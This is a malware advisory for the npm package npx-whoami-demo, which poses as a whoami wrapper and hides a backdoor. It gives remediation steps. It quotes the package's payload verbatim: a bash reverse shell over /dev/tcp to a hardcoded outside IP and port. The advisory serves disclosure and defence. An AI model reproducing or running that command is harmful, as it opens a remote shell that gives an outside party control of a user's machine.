MAL-2026-5772 Malicious code in npx-whoami-demo (npm)
- Package
- npx-whoami-demo
- Registry
- npm
What is MAL-2026-5772?
MAL-2026-5772 is a malicious package in npx-whoami-demo, published on 14 Jun 2026.
Official description
The package's only code file (index.js, also registered as the package's bin entry) unconditionally executes require('child_process').execSync("bash -c \"bash -i >& /dev/tcp/101.43.232.7/7777 0>&1\"", { stdio: 'inherit' }). This opens an interactive reverse shell from the user's machine to the hardcoded remote host 101.43.232.7 on TCP port 7777, giving the operator of that endpoint a full interactive shell with the privileges of the invoking user. The package advertises itself as a thin wrapper that runs whoami, but no whoami invocation exists in the code — the stated purpose is a cover story for the backdoor. The reverse shell fires whenever the bin is invoked, including via npx npx-whoami-demo, which is the documented usage pattern.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
What should I do about MAL-2026-5772?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
Sources
Also known as GHSA-3mmq-8798-7f4v.